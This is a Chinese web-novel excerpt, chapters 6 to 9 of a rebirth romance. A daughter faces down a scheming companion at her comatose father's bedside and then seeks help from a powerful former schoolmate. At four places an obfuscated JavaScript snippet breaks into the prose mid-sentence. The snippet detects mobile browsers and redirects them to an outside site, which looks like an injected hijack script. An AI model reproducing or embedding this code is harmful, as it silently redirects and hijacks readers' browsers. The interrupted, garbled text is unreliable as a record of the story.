“辛苦你了,”素依的声音低低的,“这几天你太累了。要不你回去休息?我在这儿守着。” “不用。”姜诺宁摇了摇头,把话题岔开,“对了,尹姨呢?” 尹姨在姜家做了二十年的老佣人。姜诺宁小时候就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387989|200288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她带大的,姜臣和徐莉刚开始忙着创业的时候,是尹姨给她做饭、送她上学、陪她等家长会结束。上一世,姜臣晕倒又那么快的离开,姜诺宁沉浸在悲痛里,没有去关注她,后来被素依告知,尹姨岁数大,自己辞职了。 素依的语气轻描淡写,“还说呢,这次要不是她照顾叔叔不周,也不至于这样,我把她辞了。” 姜诺宁抬起头,一双漆黑的眸子看着她。 素依看着她的眼睛微微有些惊讶,解释着:“这次叔叔出事,就是她没看护好。那天早上叔叔出门的时候,她就应该提醒他吃药,结果忘了。要是按时吃了药,说不定就不会——” 她叹了口气,摇了摇头,一副“我不忍心责备但确实很失望”的表情。 “我给辞了。换了个年轻一点的,专业护理出身,比尹姨靠谱。” 姜诺宁的手指在膝盖上慢慢收紧了,沉默了。 那几秒里,病房里安静得只能听见监护仪规律的嘀嘀声。 素依莫名感觉到一股说不清的气场从姜诺宁身上漫出来,是一种她从未在这个人身上见过的沉甸甸的压迫感。 姜诺宁抬起头,看着素依的眼睛,一字一顿地说:“不行。” 素依微微一愣,“宁宁——” “你不要什么都做主。” “你这话说的,”素依的声音依然平稳,带着一点无奈的宠溺,“我不是为了叔叔好吗?尹姨年纪大了,万一——” “好了。” 姜诺宁打断了她,站起来,和素依平视。 那一瞬间,四目相对。 素依恍惚觉得站在她面前多年来一直温驯乖巧的金丝雀,居然带了一股不怒自威的气场。 “我是没什么,”她的声音轻轻的,像怕惊动病床上的姜臣,“我肯定知道你的为人,知道你一心都在姜家上。” “可外人不知道啊。” 素依的瞳孔微微收缩了一下。 “让外人知道了,”姜诺宁直勾勾地看着她的眼睛,声音越来越轻,轻到几乎像耳语,可每一个字都清晰得像刻在素依的心里,“还以为你惦记姜家的家业惦记太久了,我爸还躺在这儿,你就等不及了。” 素依的呼吸停了一瞬。 姜诺宁看着她,嘴角甚至开玩笑一样,微微弯了一下,“还以为你这些年伏低做小、鞍前马后,为的就是这一天。” 素依死死咬住了后槽牙。 “还以为你心里那点算盘,打得比你的良心都响。” 素依握起了拳头,青筋在手背上微微凸起。 “还以为你狼子野心,我爸刚昏迷,你就急着做姜家的主。” 姜诺宁说完这句话,轻轻笑了一声。那笑声很淡,从鼻腔里溢出来,带着一种漫不经心的凉意。她抬起手,像揉狗一样揉了揉素依的头,“素素,”她叫她的名字,声音温柔得像在哄人,“你说是吧?” 素依的脸色彻底变了,饶是表演习惯了,可此时连一丝笑都挤不出来了。 姜诺宁看着她的反应,眼里的笑意更深了。 那笑容天真极了,像十七岁那年夏天在天台时一样纯真。 “当然,我会相信你,”她的声音软软的,带着一种理所当然的笃定,“如果我的素素真的那么做,那岂不是猪狗不如了?” 7. 第 7 章 素依脸上的血色一点一点褪去。 姜诺宁的话像一根根细针,精准地扎进她最隐秘的痛处,比当年被姜臣指着鼻子训斥别有用心的时候,还要让人难受。 可比起难受,她更警觉的是姜诺宁突然的转变。 “宁宁,”她开口,声音压得很低,带着小心翼翼的试探,“你怎么突然说这种话?是不是谁跟你说了什么?” 此时才23岁刚大学毕业一年的素依就已经如此敏感了,姜诺宁知道自己该忍住的,不该这样用气,可刚刚经历了母亲的惨死,知道她极有可能是杀死父亲的罪魁祸首,知道她欺骗了自己整整十二年,每一个“晚安”、每一碗热汤、每一次替她擦掉眼泪的手,都是精心编织的谎言,她根本控制不住。 “没有啊,”姜诺宁看着她,语气满是信任:“我就是生气外人对你的态度,才说出来解解气。怎么了?你生气了?” 素依盯着她的眼睛,“没有,”她扯了扯嘴角,终于挤出一个笑来,“你说得对,是我考虑不周。尹姨的事,应该跟你商量的,对不起。” 姜诺宁点了点头,“你我之间,不需要道歉。” 素依的心微微松了一下。果然—— “把尹姨叫回来就行。” 这件事儿上,她不能让步。 素依的笑容凝固在脸上。 叫回来? 姜诺宁没有再理她,重新坐回病床边的椅子上,拿起床头柜上的棉签,蘸了点水,轻轻涂抹在姜臣干裂的嘴唇上。 素依站在她身后,看着那个背影。 姜诺宁穿着一件白色的薄毛衣,头发散下来,遮住了半边脸颊。从她的角度看过去,只能看见一截白皙的脖颈和微微弯曲的脊背。那个弧度她太熟悉了——她曾经无数次从背后抱住这具身体,把下巴抵在这截脖颈上。 可此刻,她忽然觉得这个背影有些陌生。 说不上来哪里陌生。姿态还是那个姿态,动作还是那个动作,可就是有什么东西不一样了。像一幅看惯了的画,被人动了一笔,虽然改动极小,小到说不清改了哪里,可整幅画的色调都变了。 “宁宁,”她走过去,在姜诺宁身边蹲下来,声音放得又软又柔,“你昨晚是不是没休息好?黑眼圈都出来了。” 她伸手想去摸姜诺宁的脸,被姜诺宁不着痕迹地避开了,“做了个噩梦,”姜诺宁的声音很轻,“梦见你……欺骗了我。” 素依的手指蜷缩了一下。 “我很伤心,”姜诺宁继续说,“梦里哭得很厉害,醒来眼睛还是肿的。” “怎么会,”素依握住姜诺宁的手,掌心贴上去,把那只微凉的手包在自己手心里,“我怎么会骗你?你是我最重要的人。” 姜诺宁终于转过头来看她。 四目相对。 她在心底冷笑。 原来真情真的可以演出来。 被她看得有些不自在,素依偏过头,目光移向病床上的姜臣。 “你回去休息吧,我在这儿守着。你昨晚一夜没睡,身体吃不消的。” “哎,”姜诺宁抽出手,站起来,走到窗边,背对着素依,“还说呢,妈那边急得不行,刚才打电话来,说要转院。” 素依的眉毛微微挑了一下。 转院? 她的第一反应是觉得好笑。徐莉那个一辈子没上过班的阔太太,能办成什么事?姜臣倒下之后,整个姜家上下,从公司事务到医疗方案,哪一样不是她在操持? “好啊,”素依并没放在心上,“阿姨要是有合适的医院和专家,转院也行。我这边也托人问问,看能不能联系上心脑血管方面的权威。” 她之所以答应得这么痛快,是因为她笃定徐莉什么都办不成。人都是这样的,姜臣倒下之后,她俨然已经是姜家最有话语权的人了。公司里的人看她的脸色,合作伙伴听她的安排,连徐莉那边的亲戚,遇到什么事第一个找的也是她。 没有人会跟权力作对。 “那我跟妈说一声,”姜诺宁转过身来,“让她先打听打听。” 素依点了点头,看了一眼手表。 “我先出去抽根烟,”她说,“问问主治医生情况。” 姜诺宁“嗯”了一声,重新坐回病床边。 素依转身走出病房。门关上的那一刻,她的脚步声在走廊里渐渐加快,高跟鞋踩在大理石地面上,笃笃笃,每一步都带着一种压抑的急促。 姜诺宁的目光追随着那道背影,透过病房门上的玻璃窗,看见素依走到走廊尽头,推开安全通道的门,消失在楼梯间里。 她没有收回视线。 果然,没过多久,一个护工从走廊另一头走过来,脚步匆匆地往安全通道的方向去了。又过了一会儿,一个值班护士也往那个方向走。然后是司机老周。 一个接一个。 姜诺宁靠在椅背上,闭上眼睛,在心里默默记下每一个人的脸。 这些人,每一个都是她平时叫“阿姨”“姐姐”“周叔”的人。每一个都对她笑脸相迎,每一个都说“小姐您放心,有什么事尽管吩咐”。 可他们转身就会把自己的一切信息告诉给素宁。 这还只是她看见的。她看不见的呢?公司里的人、妈妈身边的人、她那几个所谓的朋友—— 她不敢往下想了。 她需要一个能帮她的人。 一个不在素依掌控范围内的人。 她点开通讯录,翻了一遍,又翻了一遍。 没有。 她躺平了太多年,把所有的社交都交给了素依打理。朋友是素依帮她筛选的,圈子是素依帮她建立的,连出门见谁、和谁吃饭,都要素依“批准”。 她曾经觉得这是爱。是素依太在乎她了,怕她被人骗,怕她交到不好的朋友。 现在她才知道,那不是保护,是圈禁。 她像一只被养在笼子里的金丝雀,笼门从来没有锁过,可她已经忘记了怎么飞。 姜诺宁把手机屏幕按灭,深吸了一口气。 她低头看着姜臣的脸。 爸爸的嘴唇还是干裂的,脸色苍白得没有一丝血色。监护仪上的波形在跳动,绿色的线条在黑色屏幕上画出规律的起伏。 上一世,爸爸在昏迷了三天之后去世了。 医生说死因是心梗。 可那条信息—— “你爸当年怎么没的,真相,你大概不知道。” 姜诺宁的手指在膝盖上慢慢收紧了。当务之急,是把爸爸的医疗权从素依手里拿回来。 可她拿什么拿?她没有人,没有钱,没有资源。 头疼一阵一阵地涌上来,像有人用钝刀在太阳穴上来回锯,姜诺宁趴在爸爸的病床边,把脸埋在手臂里,想缓和一下。 …… 灰白色的雾,浓稠得像牛奶,把一切都吞没了。 姜诺宁站在雾里,看不见天,看不见地,看不见前后左右。空气里弥漫着百合花的香气,浓烈得近乎腐烂。 是梦么? 雾散了一点。 她看见了一座墓碑。 黑色的花岗岩,被雾气打湿了,表面凝着一层细密的水珠。墓碑前摆满了花圈,白色的菊花、白色的百合、白色的玫瑰。 挽联在风中轻轻晃动,上面写着字,可她看不清。 身后传来压抑的、断断续续的哭声。 她转过头。 素依站在墓碑的另一边,穿着一身黑色的套装,头发扎成低马尾,脸上没有化妆,素着一张脸,眼眶红红的,睫毛湿透了,眼泪顺着脸颊往下淌。 那模样,任谁看了都会心疼。 然后她看见了徐媛媛。 徐媛媛站在素依身后不远处,穿着一件黑色的连衣裙,头发披散下来,脸上没有泪痕。她远远地看着素依的背影,嘴角弯着。 素依还在哭。她哭得那么投入,那么逼真,哭到蹲下来,用手撑着地面,整个身体都在颤抖。 大家都为之动容,感慨她的深情。 她俨然已经是人群的核心了。 突然,所有人都转过了头。 墓园入口,一排黑色轿车缓缓停下,一字排开,像一条黑色的丝带。 车门同时打开。十几个人从车里下来,在车门两侧站成两排,目光沉静地扫过四周,像两道无声的屏障。 最后,迈巴赫的后车门开了。 一名随行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387990|200288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员先下了车,撑开一把黑色长柄伞,在车门旁站定,微微躬身。 然后,一只手从车里探出来,搭在那人递出的前臂上——手指修长,骨节分明,指尖微微泛着凉白的光。 人从车里出来的那一刻,所有人的呼吸都停了一瞬。 黑色大衣,衣摆垂到小腿,腰线被一条同色的窄皮带收住,勒出一道干净利落的弧度。领口微微立起,衬得那一截脖颈愈发修长。 女人走在最前面。伞遮住了大半张脸,只露出下巴与红唇。 鞋跟踩在石板路上,笃,笃,笃,每一声都踩在人的心尖上。 身后三十几个人,没有一个人发出多余的脚步声。 气场太强,周围一片寂静,连呼吸都变轻了。 她径直走到素依面前,停下来。 素依抬起头,泪眼模糊地看了她一眼,还没来得及说话—— “啪”的一个耳光。 干净利落,带着风声。 素依的脸被打偏向一侧,整个人踉跄了一下,差点摔倒。 全场寂静。 那个人把伞收起来—— —— 姜诺宁猛地睁开眼睛。 心跳快得像要从胸腔里蹦出来,太阳穴突突地跳,后背的衣服被冷汗浸透了,贴在皮肤上,凉飕飕的。 她大口喘着气,好一会儿才看清眼前的一切。 病房。监护仪。输液架。 爸爸还躺在床上,呼吸均匀。 是梦。 梦太真实了,真实到她能记住每一个细节。 那人是……沈念微? 姜诺宁靠在椅背上,闭上眼睛,让记忆慢慢浮上来。 沈念微。比她高一届的学姐,江城大学商学院的名人。她入学那年,沈念微大二,已经是整个学校的神话,学生会主席,国家奖学金得主,还没毕业就被沈氏集团内定为接班人。 那时候的姜诺宁还是个每天逃课画画、跟朋友吃喝玩乐的富二代。她对商学院的传闻不感兴趣,对那些“别人家的孩子”更是敬而远之。 她只远远地看过沈念微一次,在学校礼堂的毕业典礼上,沈念微作为优秀毕业生代表上台发言,穿着一身黑色的学士服,站在聚光灯下。 当时,她就感觉她们的距离很遥远,不是一个世界的人。 一个和她没有任何交集的陌生人,为什么那么做? 也许就是个不作数的梦吧。 可如果真的只是梦,沈念微又怎么会出现? 姜诺宁拿起手机,一个一个地往下翻,翻到字母“S”的时候,指尖顿住了。 沈念微。 她什么时候加的? 姜诺宁拼命回忆,完全不记得了。 她甚至不确定对方还记不记得她。 会不会已经被拉黑了? 她点开沈念微的微信头像。 头像是一张背影,一个女人站在落地窗前,面前是大片的落地玻璃,外面是城市的夜景,万家灯火在脚下铺展开来。她仰着头,远远地看着天边的月亮,有一种明明坐拥一切,可想要的不过是天边的明月的寂寥感。 姜诺宁盯着头像看了很久,手指悬在屏幕上方。 为了爸爸,哪怕是一线生机,她也要厚着脸皮试一试。 她想了好几种称呼,都觉得不对。“沈总”太生硬,“沈学姐”太刻意,想了半天,最后决定用最正式的—— 【学姐,您好,我是姜诺宁,您曾经的学妹,有事想要请您帮忙,不知道有没有时间。】 她深吸一口气,点了发送。 然后她把手机翻过去,扣在腿上,心跳得比刚才从梦里醒来还快。 一秒。 两秒。 三秒。 姜诺宁知道沈念微的身份与地位,她如果无视自己,很正常。那她该—— 手机震了一下。 姜诺宁的心猛地提到嗓子眼。她翻过手机,屏幕亮着。 一条微信消息。 来自沈念微。 没有寒暄,没有客套,甚至没有一个多余的标点符号。 只有一行字、一个定位。 【现在过来。】 8. 第 8 章 【现在过来。】 姜诺宁盯着那四个字,心跳在胸腔里擂成一面鼓。 沈念微的反应,完全在她的预料之外。姜诺宁原以为,那条消息发出去,能收到一个“知道了”或者“我问问”就已经算是最好的结果了。她甚至做好了等三天、等一周、等一个礼貌而疏远的回复的准备。 可她没想到,沈念微连犹豫都没有。 姜诺宁看了一眼病床上的姜臣,又看了一眼手机屏幕。定位在荣尚集团总部,三十分钟车程。 还没见面,就已经开始紧张了…… 姜诺宁走进洗手间,对着镜子看了一眼,眼底两道青黑,嘴唇干裂起皮,太过憔悴,她拧开水龙头,用冷水拍了拍脸。从包里翻出那支用了大半的口红,对着镜子描了一遍。 以前,她不是这样的人。出门见谁、穿什么、说什么话,都有人替她安排妥当,从来不需要自己面对什么。 但现如今,她要逼着自己走出去。 —— 不确定身边有多少人是素依的眼线,姜诺宁没有叫司机,自己直接开车去了。 车上,她趁着等红灯的间隙,在搜索引擎里输入了沈念微的名字。 跳出来的词条比她想象的多得多。 “荣尚集团最年轻董事”“沈氏长女”“医疗板块继承人”,她扫了一眼标题,点了进去。 一篇人物报道写得格外详细。沈念微,二十岁那年读完双学位直接进入荣尚,从基层做起。二十二岁接手医疗板块,成为集团有史以来最年轻的业务负责人。上任第一年就把连续亏损三年的私立医院扭亏为盈,第二年主导了与德国一家医疗集团的战略合作,第三年业内已经在传,荣尚医疗板块的估值翻了三倍。 配图是一张近照。沈念微穿了一件剪裁利落的黑色西装,内搭是深灰色的高领针织,头发散下来,垂在肩侧。她微微侧着脸,下颌线绷出一道锋利的弧线,嘴唇轻抿,薄而冷淡,没有笑意。 除了漂亮。更多的是凌厉,透着一种被权力和天赋同时浇灌出来高高在上的矜贵。 她坐在那里,不需要说话,不需要动作,光是这张脸,就足够让对面的人先输三分。 评论区的高赞留言写得很直白:“这么年轻坐到这个位置,长得还这张脸,你让其他人怎么活?”另一条说:“别盯着她的眼睛看,我见过她本人,那眼神扫过来的时候,你会下意识想低头。” 姜诺宁盯着那张照片看了很久。 二十四岁。比她大不了多少,却已经站在那样的位置上了。 车窗外的红灯跳成绿灯,后面的车按了一下喇叭,她才回过神来,踩下油门。 到荣尚的路程并不长,她的心一直悬着,像被人拎在半空中,上不去也下不来。 车驶入荣尚集团所在的CBD区域,远远地,那栋楼便压了过来,玻璃幕墙从地面延伸到天空,在阳光下折射出冷蓝色的光。大楼底部宽,越往上越收窄,像一把倒置的利剑,笔直地插进城市的天际线。入口是一整面铜质大门,门把手做成波浪的形状,厚重得像欧洲那些古老的银行。 姜诺宁把车停好,在驾驶座上坐了几秒钟,深吸一口气,才推门下车。 她突然有点后悔,不该涂那支口红的。太红了。 门口两个安保人员,制服笔挺,耳麦里塞着通讯器。 姜诺宁推门走进去。大堂比她想象的还要大。灰色大理石地面,纹路像水墨画晕染开来。挑高的天花板上垂着巨大的水晶吊灯,光线被切割成无数细碎的亮点。 前台是一整块弧形白色人造石,后面站着三个接待员,统一的藏蓝色套装,发髻盘得一丝不苟。 “请问是姜诺宁女士吗?”最左边的接待员站了起来。 “是。” “沈总交代了,请您直接上去。”接待员双手递过一张门禁卡,“临时通行卡,电梯需要刷卡。办公室在五十八楼,出电梯左转走到头。秘书会在电梯口接您。” 姜诺宁接过卡,“谢谢。” 电梯门开了。刷卡,按下五十八楼。 上升速度很快,耳膜有一瞬间的压迫感。数字在屏幕上跳动——12、25、37、44、52。 叮。 五十八楼到了。 走廊铺着深灰色地毯,踩上去没有声音。墙上挂着几幅冷色调抽象画,蓝色和灰色交织在一起,像深邃夜空。尽头是一扇双开木门,深胡桃木色,门把手是哑光铜的。 门口站着一个人。三十岁出头,深灰色西装套裙,低髻,细框眼镜。她看见姜诺宁,微笑迎上来。 “姜女士您好,我是沈总的秘书,姓林。沈总还在开会,她特意交代了,让您先在办公室稍等一会儿。” “麻烦了。” 林秘书推开门,侧身让她进去。 门打开的瞬间,一股清冷的气息扑面而来。 落地窗从天花板一直延伸到地面,整面墙都是玻璃,可以俯瞰整个江城。远处的江面在阳光下闪着碎金色的光,城市建筑像积木一样铺展开来。 浅灰色实木地板,纹理细腻。办公区在靠窗的位置,一张巨大的弧形胡桃木办公桌。桌子后面是一整面墙的书架,深色木质框架,摆满了书。最上层放着几件艺术品:一尊青铜小雕塑,一件青花瓷小碟,一盏老式台灯,铜质灯座,墨绿色灯罩。 但最吸引姜诺宁注意的,是墙上那幅画。 很大,几乎占了整面墙的三分之一。画的是一弯新月,挂在一片深蓝色夜空中。月光从左上角倾泻下来,照亮了夜空的一角。下半部分是城市天际线,黑色的,模糊的,像是被月光融化了一样。 姜诺宁盯着那幅画看了很久。 沈念微似乎很喜欢月亮,微信头像也是月亮。很巧,她的乳名就叫月亮,一直叫到小学,上了初中后嫌幼稚,不让爸妈叫了。 林秘书已经把茶沏好了。 “沈总说大概还需要十五分钟,” 姜诺宁礼貌地点了点头,“谢谢。” 她坐在沙发上,双手捧着茶杯,趁着这空闲时间开始梳理脑子里乱成一团的思绪。 虽然重生了,重要的人都在,可她现在的处境依然被动。 素依到底做到哪一步了?公司里有多少人是她的人?董事会里有多少是她的人?股权转让了多少?资产转移了多少?爸爸的医疗方案她动了多少手脚?那些转让协议和代持协议,哪些还能撤销,哪些已经成了定局? 姜诺宁什么都不知道。 一直以来的躺平,让她成了一个彻头彻尾的废物。她不懂公司法,不懂股权结构,不懂财务报表,甚至连自己名下到底有多少资产都说不清楚。她像一个被养在温室里的花,以为自己活得很好,殊不知那盆土早就被人连根端走了。 —— 与此同时,十八楼的会议室里。 沈念微坐在长桌最前方,面前摊着一份季度报告。黑色西装外套,里面是白色真丝衬衫,领口微敞,露出一小截锁骨,她的眉峰高挑,鼻梁挺直,下颌线条锋利,嘴唇薄而红润,眼尾微微上挑。 美是真的美。冷也是真的冷。 财务总监正在汇报下半年的预算方案,投影仪上的数字密密麻麻,他讲得口干舌燥。可坐在主位上的人似乎一个字都没听进去。 沈念微的目光落在笔记本电脑屏幕上,看起来像在看报告, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387991|200288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可目光是虚的,没有聚焦在任何一行字上。 她的手指搁在桌面下,搁在膝盖上,指尖无意识地摩挲着手机壳的边缘。 一圈,一圈,又一圈。 “沈总?”财务总监讲完了,小心翼翼地喊了一声。 沈念微没有反应。 会议室里安静了两秒。副总清了清嗓子,刚要开口,沈念微忽然抬起头。 “嗯,”声音淡淡的,“继续。” 财务总监愣了一下,“呃……讲完了。” 沈念微的目光在他脸上停了一秒,然后移开,扫了一眼投影仪上的最后一页。 “预算增幅控制在8%以内,三季度人力成本再压缩两个点。华南区的业务拓展方案,下周一之前重新交一版上来,把风险评估做得再细一点。” “散会。” 沈念微站起来,椅子在地板上划出轻微的声响。 手机在桌面下震了一下。 她低头看了一眼屏幕。 林秘书:【沈总,姜女士已经到了,安排在您办公室。】 沈念微握着手机的手指微微收紧了。 副总站在旁边,看见他们沈总的嘴角似乎弯了一下。非常非常轻微的,只一瞬就消失了,不知道是不是自己眼花。 “沈总?”副总试探着开口,“一会儿那个会——” “推了。” 副总愣在原地,和旁边的市场部总监对视了一眼。 推了?沈总?推会议? 他们跟着她这么多年,从来没见她推过任何一个会议。这个女人把时间当命一样算,连午饭都是边看文件边吃的。 市场部总监推了推眼镜,压低声音:“什么情况?” 副总摇头,也是一脸茫然。 —— 电梯门关上的那一刻,沈念微靠在电梯壁上,低头看了一眼手机屏幕。 林秘书的消息下面,是姜诺宁发来的那条。 【学姐,您好,我是姜诺宁,您曾经的学妹,有事想要请您帮忙,不知道有没有时间。】 她看了三遍。 然后按灭屏幕,把手机翻过去,攥在手心里。 电梯上升,数字一个一个地跳。 叮。 五十八楼到了。 沈念微走出电梯,走廊里很安静,地毯吸收了所有的脚步声。她走在前面,步子不快不慢,林秘书跟在侧后方半步的位置,手里抱着文件夹,大气都不敢出。 到了办公室门前,沈念微的手搭上门把手,却没有立刻推开。 她停住了。 林秘书也跟着停下,下意识地屏住呼吸,不知道发生了什么。 沈念微转过身来,目光也随之望了过来。 林秘书的呼吸彻底卡在了喉咙里,手指不自觉地收紧,文件夹的边缘在掌心硌出一道白印。 林秘书的声音发紧,“怎、怎么了?沈总。” 沈念微看着她,沉默了两秒。 “我的妆怎么样?” 林秘书愣了一下,一脸懵逼。 沈念微眯了眯眼睛,林秘书飞快地扫了一眼,眼尾微微上挑,眼线利落得不带一丝犹豫。唇色偏淡,寡淡里透着一丝凉,整体来说就是那种不动声色的锋芒,让人多看一眼都觉得是在冒犯。 林秘书的声音有点抖,“很好,特别好。” 她感觉沈总肯定是别有深意,只是自己悟性太低,一时还不能猜透。 沈念微点了一下头,没再说什么,推门走进了办公室。 姜诺宁正站在那幅月亮的画前,听到门响,转过身来。 那一瞬间,两个人的目光撞在一起。 9. 第 9 章 姜诺宁看见沈念微的第一反应是——梦里那个打耳光的人,的确是她。 沈念微穿着一件黑色西装外套,里面是白色衬衫,领口微敞。散下来的头发比记忆里长了一些,垂在肩侧,发尾带着自然的弧度。眉眼间的青涩已经褪尽,取而代之的是一种被权力打磨过的锋利。 沈念微的视线在她身上停留了几秒,然后点了点头。 “来了。” 姜诺宁被这个声音拉回了现实。 果然是气场很足的女人。 沈念微就站在几步之外,没有刻意做什么,只是站在那里,周身却像有一层看不见的气场,把整个办公室都拢住了。姜诺宁觉得自己像是走进了一个不属于自己的领地,连呼吸都轻了几分。 姜诺宁深吸一口气,试图把胸口那团紧张压下去,“学姐,”她开口,声音有点抖,“冒然打扰了,不好意思。” 沈念微走到办公桌前,把笔记本电脑合上,转过身来看着她。 “不是冒然。” 姜诺宁愣了一下。 什么意思? 沈念微没有解释,走到会客区,在姜诺宁对面的沙发上坐下来。她的坐姿很直,背没有靠在沙发靠背上,双腿并拢,微微侧向一边,双手交叠放在膝盖上,举手投足间自带一种矜贵。 “说吧,什么事儿?” 很直接。直接到姜诺宁准备好的那些客套话、寒暄话、铺垫话,全都用不上了。 姜诺宁咽了口口水,“学姐,我想请您帮个忙。”她抿了抿唇,说的艰难,“我父亲……姜臣,他现在在和美医院,昏迷三天了。医生说可能是心梗引发的脑缺氧,目前还没有脱离危险期。我想给他转院,但我对医疗这一块不太了解,也不知道该找谁……” 她说到这里,停了一下,“我知道沈家在医疗行业很有实力,所以……我想请问学姐,有没有好的医院和专家可以推荐?” 姜诺宁说完了,看着沈念微,感觉自己的脸滚烫。她从来都是一个脸皮薄的人,被保护的太好,从学生时代开始,就不善言谈,动不动就脸红,如果不是为了爸爸,她是不会冒然求一个陌生的学姐的。而沈念微能接待她是一回事,愿不愿意帮忙又是另一回事。她那样的人,每天有多少人排着队求见,她凭什么要管姜家的事? 沈念微也在看她。那双眼睛很黑,瞳孔炭一样深,被那样的眼睛盯着,姜诺宁觉得自己像一张被摊开的报纸,每一个字都被读了一遍。 “你父亲现在的主治医生是谁?” 姜诺宁心一跳,立即报了一个名字。 沈念微的眉毛动了一下,“我知道他,心脑血管方面的专家,在江城算不错的。” 姜诺宁的心沉了一下。算不错的……她以为沈念微会就此打住,能给个推荐名单已经算是仁至义尽。 “但不是最好的。” 沈念微站起来,走到办公桌前,拿起手机,拨了一个号码。电话响了两声就接了。 “李院长,是我。” 电话那头说了什么,沈念微“嗯”了一声,然后挂了。 她转过身来,看着姜诺宁。 “两家,”她说,语速不快,“一家是公立三甲,心脑血管专科全国排名前茅,那边的心内科主任是我认识的人。另一家是私立的,综合实力不如公立那家,但心脑血管专科一样强。” 她看着姜诺宁,问:“你想去哪家?” 姜诺宁认真地想了想,“哪家安保力量比较好?” 在治疗父亲的同时,她最需要做的,就是脱离素依的视线管控范围。 沈念微顿了一下,“私立。” 姜诺宁几乎没有犹豫:“那我选私立。” 沈念微点了点头,“好,我来安排。” 她又拿起手机,拨了另一个号码。挂了电话,她对姜诺宁说:“两个小时后,那边会派救护车去接。你提前把病历和检查报告准备好,过去之后直接进监护病区。主治医生姓方,是我认识的人,到时候他会跟你详细沟通治疗方案。” 她顿了一下,“那边进出都需要权限认证,家属可以全程陪护,但每天只允许一名直系亲属进入。护工方面,那边有个跟了我父亲很多年的老看护,我让她过去盯着。” 姜诺宁坐在沙发上,一时间说不出话来。她没想到沈念微不仅帮忙,还把一切安排得这么好,每一处都像是知道她在意什么一样。 “学姐,”姜诺宁站起来,她太激动了,声音有些发抖,“谢谢您。真的太感谢了。我……我请您吃饭。” 话一出口,她又觉得这感谢太轻了。人家帮了这么大的忙,一顿饭算什么? 沈念微看着她,嘴角弯了一下。 “好,”她说,“你有我电话吗?” 姜诺宁愣了一下,“啊?” 沈念微没有回答,直接拿起手机,拨了一个号码。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387992|200288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜诺宁的手机在口袋里震起来。 她掏出来一看,屏幕上显示着一个陌生号码。 沈念微挂了电话,把手机放在办公桌上。 “存好。” 姜诺宁握着手机,看着屏幕上那串数字,又抬头看看沈念微。 “学姐,你……”她犹豫了一下,还是问了出来,“你怎么会有我的电话?” 从收到那条“现在过来”的微信开始,她就觉得奇怪。沈念微那样的人,每天要见多少人、处理多少事,怎么可能记得她这个只有一面之缘的学妹?更不可能存她的电话。 沈念微走到窗边,背对着姜诺宁。窗外的阳光照进来,在她黑色的西装上镀了一层薄薄的金边。她的背影很直,肩线平而舒展,腰身收进西装的剪裁里,高冷之外,竟透出几分女性的柔美。 她转过身来。 阳光从她身后照进来,将她的轮廓勾成一道金边,五官隐在逆光的阴影里,只剩那双眼睛格外清亮,深黑色的瞳孔里映着窗外城市的倒影。 “你在我这儿,”沈念微看着姜诺宁,平静的眸子之下,竟漾着几分温柔,“很出名。” 姜诺宁被说愣了,又被她看得有些紧张,下意识偏开了头,避开目光接触。 “学姐,那我……” 沈念微点头,知道她惦记着姜臣,“来日方长。” 姜诺宁告辞,转身往门口走。 走到一半,林秘书迎上来,准备送她出去,沈念微微微皱了一下眉。 林秘书脚步一顿,看看自家老板,又看看姜诺宁的背影,茫然地站在原地。能当沈念微的秘书,她可是从多少人的血路里杀出来的?当年应聘的候选人有多少,她过五关斩六将,凭的是眼力见、反应速度和一颗八面玲珑的心,才坐到这个位置,可今天这是……被嫌弃了? 她盯着自家boss看。沈念微微微侧过头,视线越过她,似乎想去看姜诺宁的背影。 林秘书心里咯噔一下,立马侧身让开,把姜诺宁身后的位置干干净净地亮出来。 沈总的眉头这才舒展开来,目光追过去,落在那个越走越远的背影上,竟有些收不回来。 林秘书站在原地,看着自家老板那张一贯冷淡的脸上浮现出一种她从没见过的表情——痴痴的。 她脑子里炸开两个字。 ——卧槽。 她是不是发现了什么了不得的事? 